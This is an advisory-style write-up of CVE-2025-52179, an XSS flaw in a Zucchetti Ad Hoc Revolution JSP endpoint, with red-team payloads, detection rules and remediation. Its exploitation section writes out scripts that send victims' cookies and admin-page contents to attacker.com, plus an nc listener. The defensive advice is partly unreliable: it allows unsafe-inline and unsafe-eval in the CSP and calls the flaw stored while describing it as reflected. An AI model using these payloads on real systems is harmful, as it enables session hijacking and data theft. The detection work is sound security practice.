CVE-2025-52179

Executive Summary

CVE-2025-52179 is a Stored Cross-Site Scripting (XSS) vulnerability affecting Zucchetti Ad Hoc Revolution version 4.1 and earlier. The flaw resides in the /ahrw/jsp/gsfr_feditorHTML.jsp endpoint, where the pHtmlSource parameter is not properly sanitized. An unauthenticated, remote attacker can inject arbitrary JavaScript code that executes in the context of a victim's browser when the crafted page is viewed.

This vulnerability is particularly dangerous because it requires no authentication, making it exploitable from the public internet. The injected script can steal session cookies, perform actions on behalf of the victim, or redirect users to malicious sites. Given the lack of a confirmed patch, all instances of Ad Hoc Revolution 4.1 and earlier are considered vulnerable.

CVSS Breakdown & Threat Level

• CVSS Score: 4.7 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link or view the injected content.
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure (e.g., session tokens).
• Integrity Impact: Low (I:L) – Limited ability to modify content.
• Availability Impact: None (A:N) – No direct denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of authentication and the potential for session hijacking elevate the risk in enterprise environments.

Deep Dive & Mechanics

The vulnerability exists in the gsfr_feditorHTML.jsp page, which is part of the Zucchetti Ad Hoc Revolution reporting suite. This JSP page accepts a pHtmlSource parameter that is intended to load HTML content for the rich text editor. However, the application fails to sanitize or encode the input before rendering it in the user's browser.

Attack Flow:

1. An attacker crafts a malicious URL: https://target/ahrw/jsp/gsfr_feditorHTML.jsp?pHtmlSource=<script>alert('XSS')</script>
2. The victim (e.g., an authenticated user) clicks the link or is redirected to it.
3. The server returns the JSP page with the injected script embedded in the HTML response.
4. The victim's browser executes the script, allowing the attacker to steal cookies, perform actions, or deface the page.

The vulnerability is classified as Stored XSS because the injected payload can be persisted if the application stores the pHtmlSource value (e.g., in a report template). However, the immediate exploitation vector is reflected XSS via the URL parameter.

Vulnerable vs. Patched Code

Vulnerable Code (Ad Hoc Revolution <= 4.1):

<!-- gsfr_feditorHTML.jsp -->
<%@ page import="... " %>
<%
    String htmlSource = request.getParameter("pHtmlSource");
%>
<html>
<body>
    <div id="editorContent">
        <%= htmlSource %>  <!-- Direct output without sanitization -->
    </div>
</body>
</html>

Patched Code (Hypothetical Fix):

<!-- gsfr_feditorHTML.jsp (Patched) -->
<%@ page import="... " %>
<%@ taglib uri="http://java.sun.com/jsp/jstl/functions" prefix="fn" %>
<%
    String htmlSource = request.getParameter("pHtmlSource");
    // Sanitize using OWASP Java Encoder or similar
    String safeHtml = Encode.forHtml(htmlSource);
%>
<html>
<body>
    <div id="editorContent">
        <%= safeHtml %>  <!-- Encoded output prevents script execution -->
    </div>
</body>
</html>

The fix involves HTML-encoding the pHtmlSource parameter before rendering it. This prevents the browser from interpreting injected <script> tags as executable code.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Zucchetti Ad Hoc Revolution 4.1 (or earlier) running on a local VM.
• Attacker: Kali Linux with Burp Suite or a simple Python HTTP server.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target:8080/ahrw/jsp/gsfr_feditorHTML.jsp
2. Craft a payload to steal cookies:

   http://target:8080/ahrw/jsp/gsfr_feditorHTML.jsp?pHtmlSource=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
   

3. Send the link to a victim (e.g., via phishing email).
4. Set up a listener on the attacker machine:

   nc -lvnp 80
   

5. When the victim clicks the link, their cookies are exfiltrated to the attacker's server.

Advanced Payload (Session Hijacking):

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/ahrw/jsp/someAdminPage.jsp', true);
    xhr.withCredentials = true;
    xhr.onload = function() {
        var formData = new FormData();
        formData.append('data', xhr.responseText);
        fetch('http://attacker.com/exfil', { method: 'POST', body: formData });
    };
    xhr.send();
</script>

Blue Team (Defensive)

Detection Steps:

1. Monitor web server logs for requests to /ahrw/jsp/gsfr_feditorHTML.jsp with suspicious pHtmlSource parameters (e.g., containing <script>, onerror, javascript:).
2. Use a Web Application Firewall (WAF) to block requests containing XSS patterns in the pHtmlSource parameter.
3. Implement Content Security Policy (CSP) headers to restrict script execution:

   Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
   

   Note: unsafe-inline is required for the editor to function, but it reduces security. Consider using nonces or hashes instead.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/ahrw/jsp/gsfr_feditorHTML.jsp" AND uri_query=*pHtmlSource*
| rex field=uri_query "pHtmlSource=(?<payload>.*)"
| search payload IN (*<script*, *onerror*, *javascript:*)
| table _time, clientip, uri, payload

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /ahrw/jsp/gsfr_feditorHTML.jsp with pHtmlSource parameter containing <script>, onerror, onload, javascript:.
  • Outbound connections to unknown IPs on ports 80/443 from the Zucchetti server.
• File IOCs:
  • Modified JSP files in /ahrw/jsp/ directory (if attacker gained write access).
  • Suspicious entries in web server logs (e.g., %3Cscript%3E URL-encoded payloads).
• Behavioral IOCs:
  • Unexpected session cookie changes for users accessing the reporting module.
  • Unusual HTTP referrer headers pointing to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2025_52179_XSS_Detection {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-52179 in Zucchetti Ad Hoc Revolution"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-52179"
    strings:
        $jsp_endpoint = "/ahrw/jsp/gsfr_feditorHTML.jsp"
        $xss_payload1 = /pHtmlSource=.*<script/i
        $xss_payload2 = /pHtmlSource=.*onerror/i
        $xss_payload3 = /pHtmlSource=.*javascript:/i
    condition:
        $jsp_endpoint and ($xss_payload1 or $xss_payload2 or $xss_payload3)
}

Sigma Rule

title: CVE-2025-52179 XSS Attempt on Zucchetti Ad Hoc Revolution
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with XSS payloads in the pHtmlSource parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: "/ahrw/jsp/gsfr_feditorHTML.jsp"
        cs-uri-query|contains|all:
            - "pHtmlSource="
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of HTML in the editor (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-52179 XSS Attempt - Zucchetti Ad Hoc Revolution"; flow:to_server,established; content:"/ahrw/jsp/gsfr_feditorHTML.jsp"; http_uri; content:"pHtmlSource="; http_uri; pcre:"/pHtmlSource=.*(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application: If possible, restrict access to the /ahrw/jsp/gsfr_feditorHTML.jsp endpoint via firewall or reverse proxy rules.
2. Apply virtual patching: Use a WAF to block requests containing XSS patterns in the pHtmlSource parameter.
3. Disable the endpoint: If the rich text editor is not critical, remove or rename the gsfr_feditorHTML.jsp file.

Long-Term Fix:

• Upgrade: Contact Zucchetti for an official patch. If unavailable, consider migrating to a supported version or alternative solution.
• Code Fix: Implement input validation and output encoding using a library like OWASP Java Encoder. Never trust user input.
• Security Headers: Add X-XSS-Protection: 1; mode=block and Content-Security-Policy headers.

Monitoring:

• Enable detailed logging for all requests to the vulnerable endpoint.
• Set up alerts for any XSS-related patterns in web logs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert